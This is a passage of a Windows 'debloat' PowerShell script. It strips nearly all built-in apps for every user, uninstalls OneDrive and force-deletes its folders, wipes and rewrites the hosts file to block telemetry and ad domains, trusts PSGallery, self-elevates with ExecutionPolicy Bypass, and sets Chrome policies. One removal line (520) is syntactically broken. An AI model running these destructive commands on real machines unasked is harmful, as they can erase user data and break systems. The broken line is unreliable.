  428. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{374DE290-123F-4565-9164-39C4925E467B}" -Recurse -ErrorAction SilentlyContinue
  429.  
  430. # Add Downloads icon to computer namespace
  431. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{088e3905-0323-4b02-9826-5d99428e115f}"
  432. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{374DE290-123F-4565-9164-39C4925E467B}"
  433.  
  434. # Remove Music icon from computer namespace
  435. # Write-Host "Removing Music icon from computer namespace..."
  436. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}" -Recurse -ErrorAction SilentlyContinue
  437. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}" -Recurse -ErrorAction SilentlyContinue
  438.  
  439. # Add Music icon to computer namespace
  440. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}"
  441. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}"
  442.  
  443. # Remove Pictures icon from computer namespace
  444. # Write-Host "Removing Pictures icon from computer namespace..."
  445. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}" -Recurse -ErrorAction SilentlyContinue
  446. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}" -Recurse -ErrorAction SilentlyContinue
  447.  
  448. # Add Pictures icon to computer namespace
  449. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}"
  450. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}"
  451.  
  452. # Remove Videos icon from computer namespace
  453. # Write-Host "Removing Videos icon from computer namespace..."
  454. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}" -Recurse -ErrorAction SilentlyContinue
  455. # Remove-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A0953C92-50DC-43bf-BE83-3742FED03C9C}" -Recurse -ErrorAction SilentlyContinue
  456.  
  457. # Add Videos icon to computer namespace
  458. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}"
  459. # New-Item -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\{A0953C92-50DC-43bf-BE83-3742FED03C9C}"
  460.  
  461. ## Add secondary en-US keyboard
  462. #Write-Host "Adding secondary en-US keyboard..."
  463. #$langs = Get-WinUserLanguageList
  464. #$langs.Add("en-US")
  465. #Set-WinUserLanguageList $langs -Force
  466.  
  467. # Remove secondary en-US keyboard
  468. Set-WinUserLanguageList En-US -Force
  469.  
  470.  
  471.  
  472. ##########
  473. # Remove unwanted applications
  474. ##########
  475. Write-Progress -Activity "Removing Unwanted Apps" -Status "Progress:" -PercentComplete 1
  476. # Disable OneDrive
  477. Write-Host "Disabling OneDrive..."
  478. If (!(Test-Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive")) {
  479.     New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" | Out-Null
  480. }
  481. Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" -Name "DisableFileSyncNGSC" -Type DWord -Value 1
  482.  
  483. # Enable OneDrive
  484. # Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\OneDrive" -Name "DisableFileSyncNGSC"
  485.  
  486. # Uninstall OneDrive
  487. Write-Host "Uninstalling OneDrive... May sometimes hang"
  488. Stop-Process -Name OneDrive -ErrorAction SilentlyContinue
  489. Start-Sleep -s 3
  490. $onedrive = "$env:SYSTEMROOT\SysWOW64\OneDriveSetup.exe"
  491. If (!(Test-Path $onedrive)) {
  492.     $onedrive = "$env:SYSTEMROOT\System32\OneDriveSetup.exe"
  493. }
  494. Start-Process $onedrive "/uninstall" -NoNewWindow -Wait
  495. Start-Sleep -s 3
  496. Stop-Process -Name explorer -ErrorAction SilentlyContinue
  497. Start-Sleep -s 3
  498. Remove-Item "$env:USERPROFILE\OneDrive" -Force -Recurse -ErrorAction SilentlyContinue
  499. Remove-Item "$env:LOCALAPPDATA\Microsoft\OneDrive" -Force -Recurse -ErrorAction SilentlyContinue
  500. Remove-Item "$env:PROGRAMDATA\Microsoft OneDrive" -Force -Recurse -ErrorAction SilentlyContinue
  501. If (Test-Path "$env:SYSTEMDRIVE\OneDriveTemp") {
  502.     Remove-Item "$env:SYSTEMDRIVE\OneDriveTemp" -Force -Recurse -ErrorAction SilentlyContinue
  503. }
  504. If (!(Test-Path "HKCR:")) {
  505.     New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
  506. }
  507. Remove-Item -Path "HKCR:\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" -Recurse -ErrorAction SilentlyContinue
  508. Remove-Item -Path "HKCR:\Wow6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}" -Recurse -ErrorAction SilentlyContinue
  509.  
  510. # Install OneDrive
  511. # $onedrive = "$env:SYSTEMROOT\SysWOW64\OneDriveSetup.exe"
  512. # If (!(Test-Path $onedrive)) {
  513. #   $onedrive = "$env:SYSTEMROOT\System32\OneDriveSetup.exe"
  514. # }
  515. # Start-Process $onedrive -NoNewWindow
  516.  
  517. # Uninstall Almost Everything.
  518.  
  519. Write-Progress -Activity "Removing Unwanted Apps" -Status "Progress:" -PercentComplete 50
  520. Get-AppxPackage -AllUsers | Remove-AppxPackage Get-AppxProvisionedPackage -online | where-object {$.packagename -notlike "Microsoft.WindowsStore"} | where-object {$.packagename -notlike "Microsoft.WindowsCalculator"} | Remove-AppxProvisionedPackage -online
  521. Write-Progress -Activity "Removing Unwanted Apps" -Status "Progress:" -PercentComplete 75
  522. Get-AppxPackage -allusers | Remove-AppxPackage
  523. Write-Progress -Activity "Removing Unwanted Apps" -Status "Progress:" -PercentComplete 90
  524. Get-AppXProvisionedPackage -online | Remove-AppxProvisionedPackage -online
  525. Write-Progress -Activity "Removing Unwanted Apps" -Status "Progress:" -PercentComplete 100
  526.  
  527. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 1
  528. # Install default Microsoft applications..
  529. Write-Host "Installing desired packages"
  530. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.3DBuilder").InstallLocation)\AppXManifest.xml"
  531. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingFinance").InstallLocation)\AppXManifest.xml"
  532. Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingNews").InstallLocation)\AppXManifest.xml"
  533. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingSports").InstallLocation)\AppXManifest.xml"
  534. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 15
  535. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.BingWeather").InstallLocation)\AppXManifest.xml"
  536. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Getstarted").InstallLocation)\AppXManifest.xml"
  537. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.MicrosoftOfficeHub").InstallLocation)\AppXManifest.xml"
  538. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.MicrosoftSolitaireCollection").InstallLocation)\AppXManifest.xml"
  539. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Office.OneNote").InstallLocation)\AppXManifest.xml"
  540. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.People").InstallLocation)\AppXManifest.xml"
  541. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.SkypeApp").InstallLocation)\AppXManifest.xml"
  542. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Windows.Photos").InstallLocation)\AppXManifest.xml"
  543. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsAlarms").InstallLocation)\AppXManifest.xml"
  544. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsCamera").InstallLocation)\AppXManifest.xml"
  545. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.windowscommunicationsapps").InstallLocation)\AppXManifest.xml"
  546. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 30
  547. Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsCalculator").InstallLocation)\AppXManifest.xml"
  548. Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsStore").InstallLocation)\AppXManifest.xml"
  549. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsMaps").InstallLocation)\AppXManifest.xml"
  550. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsPhone").InstallLocation)\AppXManifest.xml"
  551. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsSoundRecorder").InstallLocation)\AppXManifest.xml"
  552. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.XboxApp").InstallLocation)\AppXManifest.xml"
  553. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.ZuneMusic").InstallLocation)\AppXManifest.xml"
  554. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.ZuneVideo").InstallLocation)\AppXManifest.xml"
  555. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.AppConnector").InstallLocation)\AppXManifest.xml"
  556. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.ConnectivityStore").InstallLocation)\AppXManifest.xml"
  557. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Office.Sway").InstallLocation)\AppXManifest.xml"
  558. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.Messaging").InstallLocation)\AppXManifest.xml"
  559. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.CommsPhone").InstallLocation)\AppXManifest.xml"
  560. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 45
  561. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "9E2F88E3.Twitter").InstallLocation)\AppXManifest.xml"
  562. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "king.com.CandyCrushSodaSaga").InstallLocation)\AppXManifest.xml"
  563. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "4DF9E0F8.Netflix").InstallLocation)\AppXManifest.xml"
  564. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Drawboard.DrawboardPDF").InstallLocation)\AppXManifest.xml"
  565. Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.MicrosoftStickyNotes").InstallLocation)\AppXManifest.xml"
  566. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.OneConnect").InstallLocation)\AppXManifest.xml"
  567. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 60
  568. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "D52A8D61.FarmVille2CountryEscape").InstallLocation)\AppXManifest.xml"
  569. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "GAMELOFTSA.Asphalt8Airborne").InstallLocation)\AppXManifest.xml"
  570. # Add-AppxPackage -DisableDevelopmentMode -Register "$($(Get-AppXPackage -AllUsers "Microsoft.WindowsFeedbackHub").InstallLocation)\AppXManifest.xml"
  571. # In case you have removed them for good, you can try to restore the files using installation medium as follows
  572. # New-Item C:\Mnt -Type Directory | Out-Null
  573. # dism /Mount-Image /ImageFile:D:\sources\install.wim /index:1 /ReadOnly /MountDir:C:\Mnt
  574. # robocopy /S /SEC /R:0 "C:\Mnt\Program Files\WindowsApps" "C:\Program Files\WindowsApps"
  575. # dism /Unmount-Image /Discard /MountDir:C:\Mnt
  576. # Remove-Item -Path C:\Mnt -Recurse
  577. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 75
  578.  
  579. #Install .net
  580. Dism /online /Enable-feature /featurename:NetFx3 /All
  581. Get-AppxPackage -allusers Microsoft.NET.* | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register “$($_.InstallLocation)\AppXManifest.xml”}
  582.  
  583.  
  584. # Disable Xbox DVR
  585. # New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" | Out-Null (fix this)
  586. Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" -Name "AllowGameDVR" -Type DWord -Value 0
  587.  
  588. # Enable Xbox DVR
  589. # New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" | Out-Null
  590. # Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\GameDVR" -Name "AllowGameDVR" -ErrorAction SilentlyContinue
  591.  
  592. # Uninstall Windows Media Player
  593. # Write-Host "Uninstalling Windows Media Player..."
  594. # dism /online /Disable-Feature /FeatureName:MediaPlayback /Quiet /NoRestart
  595.  
  596. # Install Windows Media Player
  597. # dism /online /Enable-Feature /FeatureName:MediaPlayback /Quiet /NoRestart
  598.  
  599. # Uninstall Work Folders Client
  600. Write-Host "Uninstalling Work Folders Client..."
  601. dism /online /Disable-Feature /FeatureName:WorkFolders-Client /Quiet /NoRestart
  602.  
  603. # Install Work Folders Client
  604. # dism /online /Enable-Feature /FeatureName:WorkFolders-Client /Quiet /NoRestart
  605. Write-Progress -Activity "Installing Wanted Apps" -Status "Progress:" -PercentComplete 100
  606.  
  607. # Set Photo Viewer as default for bmp, gif, jpg and png
  608. Write-Host "Setting Photo Viewer as default for bmp, gif, jpg, png and tif..."
  609. If (!(Test-Path "HKCR:")) {
  610.     New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
  611. }
  612. ForEach ($type in @("Paint.Picture", "giffile", "jpegfile", "pngfile")) {
  613.     New-Item -Path $("HKCR:\$type\shell\open") -Force | Out-Null
  614.     New-Item -Path $("HKCR:\$type\shell\open\command") | Out-Null
  615.     Set-ItemProperty -Path $("HKCR:\$type\shell\open") -Name "MuiVerb" -Type ExpandString -Value "@%ProgramFiles%\Windows Photo Viewer\photoviewer.dll,-3043"
  616.     Set-ItemProperty -Path $("HKCR:\$type\shell\open\command") -Name "(Default)" -Type ExpandString -Value "%SystemRoot%\System32\rundll32.exe `"%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll`", ImageView_Fullscreen %1"
  617. }
  618.  
  619. # Remove or reset default open action for bmp, gif, jpg and png
  620. If (!(Test-Path "HKCR:")) {
  621.   New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
  622. }
  623. Remove-Item -Path "HKCR:\Paint.Picture\shell\open" -Recurse
  624. Remove-ItemProperty -Path "HKCR:\giffile\shell\open" -Name "MuiVerb"
  625. Set-ItemProperty -Path "HKCR:\giffile\shell\open" -Name "CommandId" -Type String -Value "IE.File"
  626. Set-ItemProperty -Path "HKCR:\giffile\shell\open\command" -Name "(Default)" -Type String -Value "`"$env:SystemDrive\Program Files\Internet Explorer\iexplore.exe`" %1"
  627. Set-ItemProperty -Path "HKCR:\giffile\shell\open\command" -Name "DelegateExecute" -Type String -Value "{17FE9752-0B5A-4665-84CD-569794602F5C}"
  628. Remove-Item -Path "HKCR:\jpegfile\shell\open" -Recurse
  629. Remove-Item -Path "HKCR:\pngfile\shell\open" -Recurse
  630.  
  631. # Show Photo Viewer in "Open with..."
  632. Write-Host "Showing Photo Viewer in `"Open with...`""
  633. If (!(Test-Path "HKCR:")) {
  634.     New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
  635. }
  636. New-Item -Path "HKCR:\Applications\photoviewer.dll\shell\open\command" -Force | Out-Null
  637. New-Item -Path "HKCR:\Applications\photoviewer.dll\shell\open\DropTarget" -Force | Out-Null
  638. Set-ItemProperty -Path "HKCR:\Applications\photoviewer.dll\shell\open" -Name "MuiVerb" -Type String -Value "@photoviewer.dll,-3043"
  639. Set-ItemProperty -Path "HKCR:\Applications\photoviewer.dll\shell\open\command" -Name "(Default)" -Type ExpandString -Value "%SystemRoot%\System32\rundll32.exe `"%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll`", ImageView_Fullscreen %1"
  640. Set-ItemProperty -Path "HKCR:\Applications\photoviewer.dll\shell\open\DropTarget" -Name "Clsid" -Type String -Value "{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}"
  641.  
  642. # Remove Photo Viewer from "Open with..."
  643. # If (!(Test-Path "HKCR:")) {
  644. #   New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
  645. # }
  646. # Remove-Item -Path "HKCR:\Applications\photoviewer.dll\shell\open" -Recurse
  647.  
  648. # Disable F8 boot menu options
  649. # bcdedit /set `{current`} bootmenupolicy Standard | Out-Null
  650.  
  651. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 1
  652. # Install Packages to edit Hosts file.
  653. Write-Host "Installing PsHosts CMDlet to edit hosts file. Please be Patient. This may be slow sometimes buggy"
  654. install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
  655. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 10
  656. Write-Host "Seting up Repository"
  657. Set-PSRepository -Name "PSGallery" -InstallationPolicy Trusted
  658. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 20
  659. Write-Host "Installing PSHosts Module"
  660. install-module PsHosts
  661. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 30
  662. Write-Host "Importing PSHosts Module"
  663. import-module PsHosts
  664. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 40
  665. # Hosts to block are below
  666. Write-Host "Editing Hosts File..."
  667. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 50
  668. # Clean old Hosts file
  669. Remove-HostEntry *
  670.  
  671. # Add Hosts Entries
  672. Add-HostEntry vortex.data.microsoft.com 127.0.0.1
  673. Add-HostEntry vortex-win.data.microsoft.com 127.0.0.1
  674. Add-HostEntry telecommand.telemetry.microsoft.com 127.0.0.1
  675. Add-HostEntry telecommand.telemetry.microsoft.com.nsatc.net 127.0.0.1
  676. Add-HostEntry oca.telemetry.microsoft.com 127.0.0.1
  677. Add-HostEntry oca.telemetry.microsoft.com.nsatc.net 127.0.0.1
  678. Add-HostEntry sqm.telemetry.microsoft.com 127.0.0.1
  679. Add-HostEntry sqm.telemetry.microsoft.com.nsatc.net 127.0.0.1
  680. Add-HostEntry watson.telemetry.microsoft.com 127.0.0.1
  681. Add-HostEntry watson.telemetry.microsoft.com.nsatc.net 127.0.0.1
  682. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 60
  683. Add-HostEntry redir.metaservices.microsoft.com 127.0.0.1
  684. Add-HostEntry choice.microsoft.com 127.0.0.1
  685. Add-HostEntry choice.microsoft.com.nsatc.net 127.0.0.1
  686. Add-HostEntry df.telemetry.microsoft.com 127.0.0.1
  687. Add-HostEntry reports.wes.df.telemetry.microsoft.com 127.0.0.1
  688. Add-HostEntry wes.df.telemetry.microsoft.com 127.0.0.1
  689. Add-HostEntry services.wes.df.telemetry.microsoft.com 127.0.0.1
  690. Add-HostEntry sqm.df.telemetry.microsoft.com 127.0.0.1
  691. Add-HostEntry telemetry.microsoft.com 127.0.0.1
  692. Add-HostEntry watson.ppe.telemetry.microsoft.com 127.0.0.1
  693. Add-HostEntry telemetry.appex.bing.net 127.0.0.1
  694. Add-HostEntry telemetry.urs.microsoft.com 127.0.0.1
  695. Add-HostEntry telemetry.appex.bing.net:443 127.0.0.1
  696. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 70
  697. Add-HostEntry settings-sandbox.data.microsoft.com 127.0.0.1
  698. Add-HostEntry vortex-sandbox.data.microsoft.com 127.0.0.1
  699. Add-HostEntry survey.watson.microsoft.com 127.0.0.1
  700. Add-HostEntry watson.live.com 127.0.0.1
  701. Add-HostEntry watson.microsoft.com 127.0.0.1
  702. Add-HostEntry statsfe2.ws.microsoft.com 127.0.0.1
  703. Add-HostEntry corpext.msitadfs.glbdns2.microsoft.com 127.0.0.1
  704. Add-HostEntry compatexchange.buttapp.net 127.0.0.1
  705. Add-HostEntry cs1.wpc.v0cdn.net 127.0.0.1
  706. Add-HostEntry a-0001.a-msedge.net 127.0.0.1
  707. Add-HostEntry statsfe2.update.microsoft.com.akadns.net 127.0.0.1
  708. Add-HostEntry sls.update.microsoft.com.akadns.net 127.0.0.1
  709. Add-HostEntry fe2.update.microsoft.com.akadns.net 127.0.0.1
  710. Add-HostEntry diagnostics.support.microsoft.com 127.0.0.1
  711. Add-HostEntry corp.sts.microsoft.com 127.0.0.1
  712. Add-HostEntry statsfe1.ws.microsoft.com 127.0.0.1
  713. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 75
  714. Add-HostEntry pre.footprintpredict.com 127.0.0.1
  715. Add-HostEntry i1.services.social.microsoft.com 127.0.0.1
  716. Add-HostEntry i1.services.social.microsoft.com.nsatc.net 127.0.0.1
  717. Add-HostEntry feedback.windows.com 127.0.0.1
  718. Add-HostEntry feedback.microsoft-hohm.com 127.0.0.1
  719. Add-HostEntry feedback.search.microsoft.com 127.0.0.1
  720. Add-HostEntry ad.doubleclick.net 127.0.0.1
  721. Add-HostEntry ads.msn.com 127.0.0.1
  722. Add-HostEntry ads1.msads.net 127.0.0.1
  723. Add-HostEntry ads1.msn.com 127.0.0.1
  724. Add-HostEntry a.ads1.msn.com 127.0.0.1
  725. Add-HostEntry a.ads2.msn.com 127.0.0.1
  726. Add-HostEntry adnexus.net 127.0.0.1
  727. Add-HostEntry adnxs.com 127.0.0.1
  728. Add-HostEntry aidps.atdmt.com 127.0.0.1
  729. Add-HostEntry apps.skype.com 127.0.0.1
  730. Add-HostEntry az361816.vo.msecnd.net 127.0.0.1
  731. Add-HostEntry az512334.vo.msecnd.net 127.0.0.1
  732. Add-HostEntry a.rad.msn.com 127.0.0.1
  733. Add-HostEntry a.ads2.msads.net 127.0.0.1
  734. Add-HostEntry ac3.msn.com 127.0.0.1
  735. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 80
  736. Add-HostEntry aka-cdn-ns.adtech.de 127.0.0.1
  737. Add-HostEntry b.rad.msn.com 127.0.0.1
  738. Add-HostEntry b.ads2.msads.net 127.0.0.1
  739. Add-HostEntry b.ads1.msn.com 127.0.0.1
  740. Add-HostEntry bs.serving-sys.com 127.0.0.1
  741. Add-HostEntry c.msn.com 127.0.0.1
  742. Add-HostEntry cdn.atdmt.com 127.0.0.1
  743. Add-HostEntry cds26.ams9.msecn.net 127.0.0.1
  744. Add-HostEntry c.atdmt.com 127.0.0.1
  745. Add-HostEntry db3aqu.atdmt.com 127.0.0.1
  746. Add-HostEntry ec.atdmt.com 127.0.0.1
  747. Add-HostEntry flex.msn.com 127.0.0.1
  748. Add-HostEntry g.msn.com 127.0.0.1
  749. Add-HostEntry h2.msn.com 127.0.0.1
  750. Add-HostEntry h1.msn.com 127.0.0.1
  751. Add-HostEntry live.rads.msn.com 127.0.0.1
  752. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 85
  753. Add-HostEntry msntest.serving-sys.com 127.0.0.1
  754. Add-HostEntry m.adnxs.com 127.0.0.1
  755. Add-HostEntry m.hotmail.com 127.0.0.1
  756. Add-HostEntry preview.msn.com 127.0.0.1
  757. Add-HostEntry pricelist.skype.com 127.0.0.1
  758. Add-HostEntry rad.msn.com 127.0.0.1
  759. Add-HostEntry rad.live.com 127.0.0.1
  760. Add-HostEntry secure.flashtalking.com 127.0.0.1
  761. Add-HostEntry static.2mdn.net 127.0.0.1
  762. Add-HostEntry s.gateway.messenger.live.com 127.0.0.1
  763. Add-HostEntry secure.adnxs.com 127.0.0.1
  764. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 90
  765. Add-HostEntry sO.2mdn.net 127.0.0.1
  766. Add-HostEntry ui.skype.com 127.0.0.1
  767. Add-HostEntry view.atdmt.com 127.0.0.1
  768. # The Below two domains may impact your network connectivity detection.
  769. Add-HostEntry www.msftncsi.com 127.0.0.1
  770. Add-HostEntry msftncsi.com 127.0.0.1
  771. Write-Progress -Activity "Editing Hosts File" -Status "Progress:" -PercentComplete 100
  772.  
  773. # Edit Group Policy to set Chrome settings that cannot be set through registry.
  774. # Refer to https://www.powershellgallery.com/packages/PolicyFileEditor/2.0.2
  775. Write-Host "Installing PolicyFileEditor Module"
  776. Install-Module -Name PolicyFileEditor
  777.  
  778. Write-Host "Importing PolicyFileEditor Module"
  779. import-module -Name PolicyFileEditor
  780.  
  781. If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")) {
  782.     Start-Process powershell.exe "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs
  783.     Exit
  784. }
  785.  
  786. Write-Host "Setting Chrome Settings..."
  787.  
  788. $MachineDir = "$env:systemroot\system32\GroupPolicy\Machine\registry.pol"
  789. $RegPath = 'Software\Policies\Google\Chrome'
  790. $RegName = 'AutoFillEnabled'
  791. $RegData = '0'
  792. $RegType = 'DWord'
  793. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  794.  
  795. $RegPath = 'Software\Policies\Google\Chrome'
  796. $RegName = 'HomepageLocation'
  797. $RegData = 'https://www.google.com'
  798. $RegType = 'String'
  799. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  800.  
  801. $RegPath = 'Software\Policies\Google\Chrome'
  802. $RegName = 'ProxyServerMode'
  803. $RegData = '0'
  804. $RegType = 'DWord'
  805. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  806.  
  807. $RegPath = 'Software\Policies\Google\Chrome'
  808. $RegName = 'SafeBrowsingEnabled'
  809. $RegData = '1'
  810. $RegType = 'DWord'
  811. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  812.  
  813. $RegPath = 'Software\Policies\Google\Chrome'
  814. $RegName = 'SavingBrowserHistoryDisabled'
  815. $RegData = '0'
  816. $RegType = 'DWord'
  817. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  818.  
  819. $RegPath = 'Software\Policies\Google\Chrome'
  820. $RegName = 'SearchSuggestEnabled'
  821. $RegData = '0'
  822. $RegType = 'DWord'
  823. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  824.  
  825. $RegPath = 'Software\Policies\Google\Chrome'
  826. $RegName = 'SyncDisabled'
  827. $RegData = '1'
  828. $RegType = 'DWord'
  829. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  830.  
  831. $RegPath = 'Software\Policies\Google\Chrome'
  832. $RegName = 'MetricsReportingEnabled'
  833. $RegData = '0'
  834. $RegType = 'DWord'
  835. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  836.  
